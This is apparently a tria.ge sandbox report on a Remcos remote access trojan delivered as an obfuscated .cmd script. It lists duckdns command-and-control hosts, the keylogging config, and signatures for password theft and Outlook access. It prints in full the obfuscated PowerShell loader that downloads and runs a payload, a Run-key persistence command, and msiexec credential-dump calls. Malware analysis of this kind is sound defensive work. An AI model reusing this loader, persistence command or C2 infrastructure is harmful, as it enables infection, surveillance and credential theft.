Windows 7 deprecation

Windows 7 will be removed from tria.ge on 2025-03-31

Analysis

  • max time kernel
    150s
  • max time network
    154s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    27/11/2024, 02:56

General

  • Target

    b616d190e295b74aaf39f7d742d3957411a0985f9372603307a4c0a6e865ecd0.cmd

  • Size

    6KB

  • MD5

    47ed689a5e67f8eadfbdf8eee3fecb84

  • SHA1

    57101b7187597c2db41509b98895eafa4c7116eb

  • SHA256

    b616d190e295b74aaf39f7d742d3957411a0985f9372603307a4c0a6e865ecd0

  • SHA512

    5d92c1444345c9114932f90d80d2e83bf1612ac6f79b66ce6d51b8c7b2a7f400e68302c6fb194200e1675e97345eb163606478ae338a44bd36fa921136e6110c

  • SSDEEP

    192:thIpQ550zJ2QmToiuhQ7HgCXK1qqJ36w3Av/l9s7nm/+pyBMfkhX:tmpQ5a8f8wa1i/lS7nnpN4

Malware Config

Extracted

Family

remcos

Botnet

A$ian

C2

iwarsut775laudryed1.duckdns.org:57484

iwarsut775laudryed1.duckdns.org:57483

iwarsut775laudryed2.duckdns.org:57484

iwarsut775laudryed3.duckdns.org:57484

Attributes
  • audio_folder

    MicRecords

  • audio_record_time

    5

  • connect_delay

    0

  • connect_interval

    1

  • copy_file

    remcos.exe

  • copy_folder

    Remcos

  • delete_file

    false

  • hide_file

    false

  • hide_keylog_file

    true

  • install_flag

    false

  • keylog_crypt

    false

  • keylog_file

    hmbnspt.dat

  • keylog_flag

    false

  • keylog_path

    %AppData%

  • mouse_option

    false

  • mutex

    shibuetgtst-WMSLPY

  • screenshot_crypt

    false

  • screenshot_flag

    false

  • screenshot_folder

    Screenshots

  • screenshot_path

    %AppData%

  • screenshot_time

    10

  • startup_value

    

  • take_screenshot_option

    false

  • take_screenshot_time

    5

Signatures

  • Remcos

    Remcos is a closed-source remote control and surveillance software.

  • Remcos family
  • Detected Nirsoft tools 3 IoCs

    Free utilities often used by attackers which can steal passwords, product keys, etc.

  • NirSoft MailPassView 1 IoCs

    Password recovery tool for various email clients

  • NirSoft WebBrowserPassView 1 IoCs

    Password recovery tool for various web browsers

  • Blocklisted process makes network request 6 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Run Powershell and hide display window.

  • Accesses Microsoft Outlook accounts 1 TTPs 1 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs
  • Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
  • Suspicious use of SetThreadContext 3 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 7 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Modifies registry key 1 TTPs 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 11 IoCs
  • Suspicious behavior: MapViewOfSection 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 30 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\b616d190e295b74aaf39f7d742d3957411a0985f9372603307a4c0a6e865ecd0.cmd"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2472
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -windowstyle hidden ";$Paleomagnetist='Tegneenhed';;$Bloodstroke='Zwieback';;$Kalligraferne136='Talesituationerne';;$Lystredes='ulrikes';;$Ozon='Tantum';;$Genopbygning=$host.Name;function Kilters($Yderpunkts){If ($Genopbygning) {$Bunchily=5} for ($Exemplar=$Bunchily;;$Exemplar+=6){if(!$Yderpunkts[$Exemplar]) { break }$Snorres+=$Yderpunkts[$Exemplar]}$Snorres}function Tttekammene($Appetitligst){ .($Levnedsmiddelstyrelsen) ($Appetitligst)}$Omskolingen=Kilters 'Eje.dNUnatiEInap.T Dand.SexkuWRepreE ChribSysteCUmbrilRammiiCrom eEnebrnove.gt';$Allergologernes=Kilters 'D.iftM GastoInfixz SkydiSlumrl Afsal Sknda Adis/';$Bygningsinspektrers=Kilters 'AlkylT P rllHy,ots Papa1Whiff2';$Subshrub='Fjo s[ SpisNWi keETorantSolsk.FeberSReferETetraR SenavFadlsiGrillcSygefe,omitp Rek ORelatIBradyNBootfTTend m isteAJdefonHemelAFibbrgAdvenEGudenRBetac]A oid:Axers:Gy sys.apooeNisk cAph,oUOutrar esomIMangeTHalvny pondP Bumbr OmkooO,kast UdbroDisgrCSyncoOPneumlRacem= Bk e$ meg,bMo eryNonsagDilemNFdevaITalennGifteg AlriSUngdoItoughnOr ntSAdvispRe erE IdrtkTempeTBi leRHyposEFe,gnR Ur sS';$Allergologernes+=Kilters 'Trd.m5 Whit. Neck0Favor Sc op( laaW CraziEkstrn lacadbobleofiskewPaadrsRrbla ElodeNFlyp TP ste Skvet1 ,nop0 delu. Krbl0Mesat;Coint aptWKommeiTot lnMantr6 Brai4Vidn ; andb EmborxTw ni6 onf4Myth ;Gerfu hamamrklbaavUdspa: Chap1Be ik3Fi.er1 C rr. W ld0Blegn)becaf NatioG Droge PeticKalvek illgo ,eli/Ombre2 .dsv0Unlim1Guill0Scene0B.bli1 Can 0Fodba1Un.oo FeltFSubpeiDoorwrBeha,eMast.f ,angoeyolfxSuper/Nulls1Mar h3 Forp1Udbyt.plack0';$Sprgere=Kilters ' arklUTranqs BabaeProblrUdrmn- Cin.AP eheG JusseOpsp NUnorit';$misemploy=Kilters 'Athy hHastet pre tUnpropBon.esPothu: Ggen/madni/Ingeri.onsen H.titHel reHensyrIrregc AmazoRestanVatt sObr,pu.eleflRea.rtFa dg.tilsacInddao oeti. Parlt lammzNeate/FrakosSkuestRotteeAfledpUdholcUnmumhKabeliKult lBil,mdHoloprt iveeunflanHarce. aadxAneposSplinn';$Noncohabitation=Kilters 'Tidsp>';$Levnedsmiddelstyrelsen=Kilters ' EddiiBrnehe Aposx';$Notidanian='Humective';$Herrerkkens='\Borgerliggrelsen.Bol';Tttekammene (Kilters ' ncon$TitiaGElit lHooveo In.rBAlarmaChresltakti:OpvarpK rkeUSevensBri,alHandeE UdryS KorrpGenneISka eLBo stL Kr feReprsT.ndis=Gemmo$Phon.esammen,enaevAnven: C lpAA.minPSupp pR empD ForkAClemet odleA Skra+Unde $Crucih,vnine BailR emirCiphee nhreRDokumkFors,KPraetES nsinSmaatS');Tttekammene (Kilters 'Fo re$Af rfGDisenLBohawoUrstrbOvereaJubillIng f:NonclM asteth oaN FordoCorroR AktirAntimhM nofONonioEGorvaAFolde=Vidtg$D skemConoii MiseSIndviEVolplM PrecPZo splDybvaOUnapoYVe,ne. r mmS oughpBilleLLem.uI quifTBrnds( hjer$TosomNMusikOUnderNIndk cUdp,lOFromah ImbrAIntraB BrugIEksamtCurblASprydTDdssyIVisitOMiocrnSplku)');Tttekammene (Kilters $Subshrub);$misemploy=$Menorrhoea[0];$Kvindehaderen=(Kilters 'Hambo$CostugLongeL,ffecOBytt.bI teraDatabl Meso:,utingFle sld mmeOMe icsRemensKugelAPyrit=BesmyNTeutoep anoWRo gh-,aatvoOrd uB InfrJ Rec,eCrosscCorncTWeigh Flaccskrabby ,uscsC opeTSig aEPaus MBelit.Denud$EquilObrattmOp,ivsArchikBestroOpsigL intrIBunchNmoonsGDemifESpil N');Tttekammene ($Kvindehaderen);Tttekammene (Kilters ' beke$ExplaGReckulPalaeoSnap s ljesE icoa L se.fasteHCbbiseLeveraHeterd E steSpolirArrh sdobbe[Ro.nt$Ib liS FuldpCalorrRibalgBee he amsvrUnloaeKa,rw]Enk,l=w rka$UnordAfaurdl LaenlZy adePersor VendgE ektoOver lEmundoKur cgSkrmdeRi,gtrAnnabnRokkee Hauns');$Enqueters=Kilters 'Fo pr$ umbeGDropslstampoFjerpsMelansSinksaGener.OprrsDBlazioumiskw U.lsnChi,pl BionoLangsaIngradFlavoFPhotoiKupeelVillee Frag( dise$ irksmSemisi.upersRegiseSlyngm nworp CelllApoleo Re,vyGeest,kr se$ Exp.HDeerfo Hyldu SlbessignieGardew.epperNatioiPrebogTribohMundstO ien)';$Housewright=$Puslespillet;Tttekammene (Kilters ' Simo$H oflg,oegeLSulfuOCitexB R,seAudsejL Solo:L nsmKStamfNLingeOShattppepsisHe eri PapiVBrown2Covet3 Fred1 ran=Inter(An ivtBloteeComm s doptTDoris- veryp loria OmryTMenneHPlotc Elekt$SamlsHU danoGingeuIn pes Br seSterlWhngebrSik,eISalvegShitthAtomiTpoace)');while (!$Knopsiv231) {Tttekammene (Kilters 'Smaar$bekvegs rivlNonlio ToppbSor eaCountl ,utt: .errLDoms o StuddAnt ndEtu siRe ieg Kak eR,ngosElektifarmaaMina,=Grfab$Ta ofKQuixoeun ermAnvispAtle t') ;Tttekammene $Enqueters;Tttekammene (Kilters 'Simuls.clertJubilaCequiR MotoTPunkt-ReeveSTra sLDoupfEG nmaeUdparPKat l latt4');Tttekammene (Kilters 'Lyngs$.rbejgSaalsL foruO,rikaBk,nooARdvinlPukeu:Brid,k ,endN UndeO BiblP lattSAntemI SaccVFlles2Elast3Trioe1E,dan=hugge( VandTBlnd ETilhysspektt lma- Battp,rbejaStridTWhizzHNo bl Bebu$ScienhTidseOFatalUBlameSHaw.beUncriWchylorKre tIFllesGTimetHr ablTBes.a)') ;Tttekammene (Kilters 'Ham e$srbehG Unp LHorsoOGuitaBAuto ATetral Mono:Indlss aegtPArmslI InfeRExe gTSubcuSUdgra=T,ekk$DiskvGIn eslPhoenOma kebAdganA s,uaL Offs: osta satuD ntinO SubcPUnattTAfsluI KrignBagsmGAnnel+P tri+ Bukk%Bahlm$DownsMAutonERave N dartO SterR Herbr CarbhK adrO .enteisomoAMunch.i cesc EpizOBardeuBilslNhovedT') ;$misemploy=$Menorrhoea[$Spirts]}$Radiologi=282520;$Elevatorfrerens=31488;Tttekammene (Kilters ' Frst$unbe,GAnoraldia mo DrmmBElatrA H peLNo,as:PerisR GuldBAssocaTorp,R IndaESuverSKapreT KrageBasa,sSkyde5 H li4Uddan Nstst=Azury LocutGarrowE HrfaTulvin-,kaldc ivreOBellyN AnlgtVin.yeFa cinSupe,t Unhy Mhoss$Sacr hImpigo AntiUScottSBe.rteSignawWirdkR Lu,hIMartrGPostrHEnkest');Tttekammene (Kilters 'Parim$ CaptgSimullHypocopenpobBa lfa Mat,l Frug: BivoPRe fraChic.rRecontStonee Briod Strenun areBilggs Mis,sMi,ce Sexfi=resol Helsi[ SpinSUnderyErindsBra dtMallaeLystem owbo.I.divCMacrooFugemnVowelvS orte InderTentmtVit e]unap :Over :UnentFMundsrArsmeoJardpmForsmBDi graIn,ics DiskeOrtho6 Lo k4NonseSco swt Gyttr WhiliPanorn Untrgsmaa,( Delt$TakkeRKindlb Si,eaOverwr stefeHeartsCardit TuikeMultisEmiss5Socia4Dress)');Tttekammene (Kilters 'Mo.or$HeypegPersoLFensmOFloatbWasteAMonoclBista:SkejshDiderJScup,ERos.wSAn elTSmrehEfestkr pinsefemogTLandb B.nhi=Ame t Skill[Hyb.aSPostpY,rthoSSlagttEpi leRivnimForbo.TersetCh toeO tswXBlacktSmrre.EfterEkakofNHimmecElek oannitDBeforiPrestnGeni,gNibby]Int r:Diahe:Berida SelvsFremaCS.ikkI EleciFoxt .Kejs G H reERekomtForlysarrepTTownyrunderi,lutbnstorfG,maad(Dueli$Kast,PburleACoinmRBismuTPaatrENeotrDSta.enFilm e O ubSMatemSHjrej)');Tttekammene (Kilters 'lrker$Bras,gdenatlIskreOVenirBope eAOmredLMimik:Sv jsb FrerUSpjt TKlimaCMon,chDecimE ,utsRDoggiEPolosr V ge=E wil$maundHBestejMyt iEskaveSNavngT OutrEhe dbrS gmee SavfTBlas .,orsesSikkeULbedaBS nkosFa.veTYillcrPip.riCirkuNRillegfurro( Sort$AutodR,eactAin,eld,ehftIHawvaOreparlFladeoClen,g AxenI lagi,Vejrs$,buttEBesviL ampEPr.jevCli.iARevoktCal,iO Gorbr Du.lf onocR ForleValidRRigsfe ChurnPlentsHolid)');Tttekammene $Butcherer;"
      2⤵
      • Blocklisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2920
  • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" ";$Paleomagnetist='Tegneenhed';;$Bloodstroke='Zwieback';;$Kalligraferne136='Talesituationerne';;$Lystredes='ulrikes';;$Ozon='Tantum';;$Genopbygning=$host.Name;function Kilters($Yderpunkts){If ($Genopbygning) {$Bunchily=5} for ($Exemplar=$Bunchily;;$Exemplar+=6){if(!$Yderpunkts[$Exemplar]) { break }$Snorres+=$Yderpunkts[$Exemplar]}$Snorres}function Tttekammene($Appetitligst){ .($Levnedsmiddelstyrelsen) ($Appetitligst)}$Omskolingen=Kilters 'Eje.dNUnatiEInap.T Dand.SexkuWRepreE ChribSysteCUmbrilRammiiCrom eEnebrnove.gt';$Allergologernes=Kilters 'D.iftM GastoInfixz SkydiSlumrl Afsal Sknda Adis/';$Bygningsinspektrers=Kilters 'AlkylT P rllHy,ots Papa1Whiff2';$Subshrub='Fjo s[ SpisNWi keETorantSolsk.FeberSReferETetraR SenavFadlsiGrillcSygefe,omitp Rek ORelatIBradyNBootfTTend m isteAJdefonHemelAFibbrgAdvenEGudenRBetac]A oid:Axers:Gy sys.apooeNisk cAph,oUOutrar esomIMangeTHalvny pondP Bumbr OmkooO,kast UdbroDisgrCSyncoOPneumlRacem= Bk e$ meg,bMo eryNonsagDilemNFdevaITalennGifteg AlriSUngdoItoughnOr ntSAdvispRe erE IdrtkTempeTBi leRHyposEFe,gnR Ur sS';$Allergologernes+=Kilters 'Trd.m5 Whit. Neck0Favor Sc op( laaW CraziEkstrn lacadbobleofiskewPaadrsRrbla ElodeNFlyp TP ste Skvet1 ,nop0 delu. Krbl0Mesat;Coint aptWKommeiTot lnMantr6 Brai4Vidn ; andb EmborxTw ni6 onf4Myth ;Gerfu hamamrklbaavUdspa: Chap1Be ik3Fi.er1 C rr. W ld0Blegn)becaf NatioG Droge PeticKalvek illgo ,eli/Ombre2 .dsv0Unlim1Guill0Scene0B.bli1 Can 0Fodba1Un.oo FeltFSubpeiDoorwrBeha,eMast.f ,angoeyolfxSuper/Nulls1Mar h3 Forp1Udbyt.plack0';$Sprgere=Kilters ' arklUTranqs BabaeProblrUdrmn- Cin.AP eheG JusseOpsp NUnorit';$misemploy=Kilters 'Athy hHastet pre tUnpropBon.esPothu: Ggen/madni/Ingeri.onsen H.titHel reHensyrIrregc AmazoRestanVatt sObr,pu.eleflRea.rtFa dg.tilsacInddao oeti. Parlt lammzNeate/FrakosSkuestRotteeAfledpUdholcUnmumhKabeliKult lBil,mdHoloprt iveeunflanHarce. aadxAneposSplinn';$Noncohabitation=Kilters 'Tidsp>';$Levnedsmiddelstyrelsen=Kilters ' EddiiBrnehe Aposx';$Notidanian='Humective';$Herrerkkens='\Borgerliggrelsen.Bol';Tttekammene (Kilters ' ncon$TitiaGElit lHooveo In.rBAlarmaChresltakti:OpvarpK rkeUSevensBri,alHandeE UdryS KorrpGenneISka eLBo stL Kr feReprsT.ndis=Gemmo$Phon.esammen,enaevAnven: C lpAA.minPSupp pR empD ForkAClemet odleA Skra+Unde $Crucih,vnine BailR emirCiphee nhreRDokumkFors,KPraetES nsinSmaatS');Tttekammene (Kilters 'Fo re$Af rfGDisenLBohawoUrstrbOvereaJubillIng f:NonclM asteth oaN FordoCorroR AktirAntimhM nofONonioEGorvaAFolde=Vidtg$D skemConoii MiseSIndviEVolplM PrecPZo splDybvaOUnapoYVe,ne. r mmS oughpBilleLLem.uI quifTBrnds( hjer$TosomNMusikOUnderNIndk cUdp,lOFromah ImbrAIntraB BrugIEksamtCurblASprydTDdssyIVisitOMiocrnSplku)');Tttekammene (Kilters $Subshrub);$misemploy=$Menorrhoea[0];$Kvindehaderen=(Kilters 'Hambo$CostugLongeL,ffecOBytt.bI teraDatabl Meso:,utingFle sld mmeOMe icsRemensKugelAPyrit=BesmyNTeutoep anoWRo gh-,aatvoOrd uB InfrJ Rec,eCrosscCorncTWeigh Flaccskrabby ,uscsC opeTSig aEPaus MBelit.Denud$EquilObrattmOp,ivsArchikBestroOpsigL intrIBunchNmoonsGDemifESpil N');Tttekammene ($Kvindehaderen);Tttekammene (Kilters ' beke$ExplaGReckulPalaeoSnap s ljesE icoa L se.fasteHCbbiseLeveraHeterd E steSpolirArrh sdobbe[Ro.nt$Ib liS FuldpCalorrRibalgBee he amsvrUnloaeKa,rw]Enk,l=w rka$UnordAfaurdl LaenlZy adePersor VendgE ektoOver lEmundoKur cgSkrmdeRi,gtrAnnabnRokkee Hauns');$Enqueters=Kilters 'Fo pr$ umbeGDropslstampoFjerpsMelansSinksaGener.OprrsDBlazioumiskw U.lsnChi,pl BionoLangsaIngradFlavoFPhotoiKupeelVillee Frag( dise$ irksmSemisi.upersRegiseSlyngm nworp CelllApoleo Re,vyGeest,kr se$ Exp.HDeerfo Hyldu SlbessignieGardew.epperNatioiPrebogTribohMundstO ien)';$Housewright=$Puslespillet;Tttekammene (Kilters ' Simo$H oflg,oegeLSulfuOCitexB R,seAudsejL Solo:L nsmKStamfNLingeOShattppepsisHe eri PapiVBrown2Covet3 Fred1 ran=Inter(An ivtBloteeComm s doptTDoris- veryp loria OmryTMenneHPlotc Elekt$SamlsHU danoGingeuIn pes Br seSterlWhngebrSik,eISalvegShitthAtomiTpoace)');while (!$Knopsiv231) {Tttekammene (Kilters 'Smaar$bekvegs rivlNonlio ToppbSor eaCountl ,utt: .errLDoms o StuddAnt ndEtu siRe ieg Kak eR,ngosElektifarmaaMina,=Grfab$Ta ofKQuixoeun ermAnvispAtle t') ;Tttekammene $Enqueters;Tttekammene (Kilters 'Simuls.clertJubilaCequiR MotoTPunkt-ReeveSTra sLDoupfEG nmaeUdparPKat l latt4');Tttekammene (Kilters 'Lyngs$.rbejgSaalsL foruO,rikaBk,nooARdvinlPukeu:Brid,k ,endN UndeO BiblP lattSAntemI SaccVFlles2Elast3Trioe1E,dan=hugge( VandTBlnd ETilhysspektt lma- Battp,rbejaStridTWhizzHNo bl Bebu$ScienhTidseOFatalUBlameSHaw.beUncriWchylorKre tIFllesGTimetHr ablTBes.a)') ;Tttekammene (Kilters 'Ham e$srbehG Unp LHorsoOGuitaBAuto ATetral Mono:Indlss aegtPArmslI InfeRExe gTSubcuSUdgra=T,ekk$DiskvGIn eslPhoenOma kebAdganA s,uaL Offs: osta satuD ntinO SubcPUnattTAfsluI KrignBagsmGAnnel+P tri+ Bukk%Bahlm$DownsMAutonERave N dartO SterR Herbr CarbhK adrO .enteisomoAMunch.i cesc EpizOBardeuBilslNhovedT') ;$misemploy=$Menorrhoea[$Spirts]}$Radiologi=282520;$Elevatorfrerens=31488;Tttekammene (Kilters ' Frst$unbe,GAnoraldia mo DrmmBElatrA H peLNo,as:PerisR GuldBAssocaTorp,R IndaESuverSKapreT KrageBasa,sSkyde5 H li4Uddan Nstst=Azury LocutGarrowE HrfaTulvin-,kaldc ivreOBellyN AnlgtVin.yeFa cinSupe,t Unhy Mhoss$Sacr hImpigo AntiUScottSBe.rteSignawWirdkR Lu,hIMartrGPostrHEnkest');Tttekammene (Kilters 'Parim$ CaptgSimullHypocopenpobBa lfa Mat,l Frug: BivoPRe fraChic.rRecontStonee Briod Strenun areBilggs Mis,sMi,ce Sexfi=resol Helsi[ SpinSUnderyErindsBra dtMallaeLystem owbo.I.divCMacrooFugemnVowelvS orte InderTentmtVit e]unap :Over :UnentFMundsrArsmeoJardpmForsmBDi graIn,ics DiskeOrtho6 Lo k4NonseSco swt Gyttr WhiliPanorn Untrgsmaa,( Delt$TakkeRKindlb Si,eaOverwr stefeHeartsCardit TuikeMultisEmiss5Socia4Dress)');Tttekammene (Kilters 'Mo.or$HeypegPersoLFensmOFloatbWasteAMonoclBista:SkejshDiderJScup,ERos.wSAn elTSmrehEfestkr pinsefemogTLandb B.nhi=Ame t Skill[Hyb.aSPostpY,rthoSSlagttEpi leRivnimForbo.TersetCh toeO tswXBlacktSmrre.EfterEkakofNHimmecElek oannitDBeforiPrestnGeni,gNibby]Int r:Diahe:Berida SelvsFremaCS.ikkI EleciFoxt .Kejs G H reERekomtForlysarrepTTownyrunderi,lutbnstorfG,maad(Dueli$Kast,PburleACoinmRBismuTPaatrENeotrDSta.enFilm e O ubSMatemSHjrej)');Tttekammene (Kilters 'lrker$Bras,gdenatlIskreOVenirBope eAOmredLMimik:Sv jsb FrerUSpjt TKlimaCMon,chDecimE ,utsRDoggiEPolosr V ge=E wil$maundHBestejMyt iEskaveSNavngT OutrEhe dbrS gmee SavfTBlas .,orsesSikkeULbedaBS nkosFa.veTYillcrPip.riCirkuNRillegfurro( Sort$AutodR,eactAin,eld,ehftIHawvaOreparlFladeoClen,g AxenI lagi,Vejrs$,buttEBesviL ampEPr.jevCli.iARevoktCal,iO Gorbr Du.lf onocR ForleValidRRigsfe ChurnPlentsHolid)');Tttekammene $Butcherer;"
    1⤵
    • Command and Scripting Interpreter: PowerShell
    • Suspicious use of NtSetInformationThreadHideFromDebugger
    • System Location Discovery: System Language Discovery
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious behavior: MapViewOfSection
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:4084
    • C:\Windows\SysWOW64\msiexec.exe
      "C:\Windows\SysWOW64\msiexec.exe"
      2⤵
      • Blocklisted process makes network request
      • Suspicious use of NtCreateThreadExHideFromDebugger
      • Suspicious use of NtSetInformationThreadHideFromDebugger
      • Suspicious use of SetThreadContext
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: MapViewOfSection
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:3116
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /c REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Eichmanns" /t REG_EXPAND_SZ /d "%Medborger% -windowstyle 1 $Bolometers=(gp -Path 'HKCU:\Software\Clydes199\').Corsy;%Medborger% ($Bolometers)"
        3⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:3272
        • C:\Windows\SysWOW64\reg.exe
          REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Eichmanns" /t REG_EXPAND_SZ /d "%Medborger% -windowstyle 1 $Bolometers=(gp -Path 'HKCU:\Software\Clydes199\').Corsy;%Medborger% ($Bolometers)"
          4⤵
          • Adds Run key to start application
          • System Location Discovery: System Language Discovery
          • Modifies registry key
          PID:4244
      • C:\Windows\SysWOW64\msiexec.exe
        C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\lznmptixxfwimydzoubseadxycsoyvhwe"
        3⤵
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: EnumeratesProcesses
        PID:3920
      • C:\Windows\SysWOW64\msiexec.exe
        C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\wtseq"
        3⤵
          PID:4064
        • C:\Windows\SysWOW64\msiexec.exe
          C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\wtseq"
          3⤵
            PID:4364
          • C:\Windows\SysWOW64\msiexec.exe
            C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\wtseq"
            3⤵
            • Accesses Microsoft Outlook accounts
            • System Location Discovery: System Language Discovery
            PID:4372
          • C:\Windows\SysWOW64\msiexec.exe
            C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\gvxxreesz"
            3⤵
            • System Location Discovery: System Language Discovery
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:548

      Network

      MITRE ATT&CK Enterprise v15

      Replay Monitor

      Loading Replay Monitor...

      Downloads

      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

        Filesize

        1KB

        MD5

        71444def27770d9071039d005d0323b7

        SHA1

        cef8654e95495786ac9347494f4417819373427e

        SHA256

        8438eded7f1ab9b4399a069611fe8730226bcdce08fab861d4e8fae6ef621ec9

        SHA512

        a721af797fd6882e6595b7d9610334f1fb57b809e504452eed4b0d0a32aaf07b81ce007bd51605bec9fcea7ec9f1d8424db1f0f53b65a01126ec4f5980d86034

      • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_jhjcyd01.bbw.ps1

        Filesize

        60B

        MD5

        d17fe0a3f47be24a6453e9ef58c94641

        SHA1

        6ab83620379fc69f80c0242105ddffd7d98d5d9d

        SHA256

        96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

        SHA512

        5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

      • C:\Users\Admin\AppData\Local\Temp\lznmptixxfwimydzoubseadxycsoyvhwe

        Filesize

        4KB

        MD5

        7aca43b2800ceb18b3ed2326532545de

        SHA1

        d4cf207ef85bd749d59c1cb27a09c167ee21523a

        SHA256

        3d9f8622d97587fd84d3d0560a50ab38e5f894fe4b5bcaa34279643fdaaeb480

        SHA512

        0e002e6b8d965c227d9b1aa7c0251619c787ec7717e59667e756e5815e3666a955ea397eb148a1ed6bb7d8045727e4efa656a103f14bc70a03b03f0c91283c2f

      • C:\Users\Admin\AppData\Roaming\Borgerliggrelsen.Bol

        Filesize

        408KB

        MD5

        7e626a625c18607c9136c772498be376

        SHA1

        c7fd93707af388150ad36cb15c1099aa2699af95

        SHA256

        e05776733d27e0bc6b2703a8f63fcdc984c86629981fabb92cdf4a9cf341d52d

        SHA512

        d65f1775153f5cff6722a485a703f939475ce4f096240b253bd78e0a6ad885ab56ac1e4412f4a7d431fd59c13266b3717ab80721b903c7890930ab00f9aa9ffc

      • memory/548-76-0x0000000000400000-0x0000000000424000-memory.dmp

        Filesize

        144KB

      • memory/548-71-0x0000000000400000-0x0000000000424000-memory.dmp

        Filesize

        144KB

      • memory/548-75-0x0000000000400000-0x0000000000424000-memory.dmp

        Filesize

        144KB

      • memory/2920-13-0x00007FFCED2A0000-0x00007FFCEDD61000-memory.dmp

        Filesize

        10.8MB

      • memory/2920-22-0x00007FFCED2A0000-0x00007FFCEDD61000-memory.dmp

        Filesize

        10.8MB

      • memory/2920-19-0x00007FFCED2A0000-0x00007FFCEDD61000-memory.dmp

        Filesize

        10.8MB

      • memory/2920-18-0x00007FFCED2A0000-0x00007FFCEDD61000-memory.dmp

        Filesize

        10.8MB

      • memory/2920-17-0x00007FFCED2A3000-0x00007FFCED2A5000-memory.dmp

        Filesize

        8KB

      • memory/2920-14-0x00007FFCED2A0000-0x00007FFCEDD61000-memory.dmp

        Filesize

        10.8MB

      • memory/2920-2-0x00007FFCED2A3000-0x00007FFCED2A5000-memory.dmp

        Filesize

        8KB

      • memory/2920-3-0x00000164A55E0000-0x00000164A5602000-memory.dmp

        Filesize

        136KB

      • memory/3116-89-0x00000000215E0000-0x00000000215F9000-memory.dmp

        Filesize

        100KB

      • memory/3116-85-0x00000000215E0000-0x00000000215F9000-memory.dmp

        Filesize

        100KB

      • memory/3116-88-0x00000000215E0000-0x00000000215F9000-memory.dmp

        Filesize

        100KB

      • memory/3116-63-0x0000000000400000-0x00000000005E4000-memory.dmp

        Filesize

        1.9MB

      • memory/3920-74-0x0000000000400000-0x0000000000478000-memory.dmp

        Filesize

        480KB

      • memory/3920-72-0x0000000000400000-0x0000000000478000-memory.dmp

        Filesize

        480KB

      • memory/3920-77-0x0000000000400000-0x0000000000478000-memory.dmp

        Filesize

        480KB

      • memory/3920-69-0x0000000000400000-0x0000000000478000-memory.dmp

        Filesize

        480KB

      • memory/4084-27-0x00000000059B0000-0x00000000059D2000-memory.dmp

        Filesize

        136KB

      • memory/4084-44-0x0000000006DF0000-0x0000000006E0A000-memory.dmp

        Filesize

        104KB

      • memory/4084-46-0x0000000007A80000-0x0000000007AA2000-memory.dmp

        Filesize

        136KB

      • memory/4084-49-0x0000000074AF0000-0x00000000752A0000-memory.dmp

        Filesize

        7.7MB

      • memory/4084-50-0x0000000074AF0000-0x00000000752A0000-memory.dmp

        Filesize

        7.7MB

      • memory/4084-51-0x0000000074AF0000-0x00000000752A0000-memory.dmp

        Filesize

        7.7MB

      • memory/4084-52-0x0000000074AFE000-0x0000000074AFF000-memory.dmp

        Filesize

        4KB

      • memory/4084-53-0x0000000074AF0000-0x00000000752A0000-memory.dmp

        Filesize

        7.7MB

      • memory/4084-54-0x0000000074AF0000-0x00000000752A0000-memory.dmp

        Filesize

        7.7MB

      • memory/4084-55-0x00000000092A0000-0x000000000D2DC000-memory.dmp

        Filesize

        64.2MB

      • memory/4084-56-0x0000000074AF0000-0x00000000752A0000-memory.dmp

        Filesize

        7.7MB

      • memory/4084-57-0x0000000074AF0000-0x00000000752A0000-memory.dmp

        Filesize

        7.7MB

      • memory/4084-58-0x0000000074AF0000-0x00000000752A0000-memory.dmp

        Filesize

        7.7MB

      • memory/4084-59-0x0000000074AF0000-0x00000000752A0000-memory.dmp

        Filesize

        7.7MB

      • memory/4084-45-0x0000000007B20000-0x0000000007BB6000-memory.dmp

        Filesize

        600KB

      • memory/4084-47-0x0000000008CF0000-0x0000000009294000-memory.dmp

        Filesize

        5.6MB

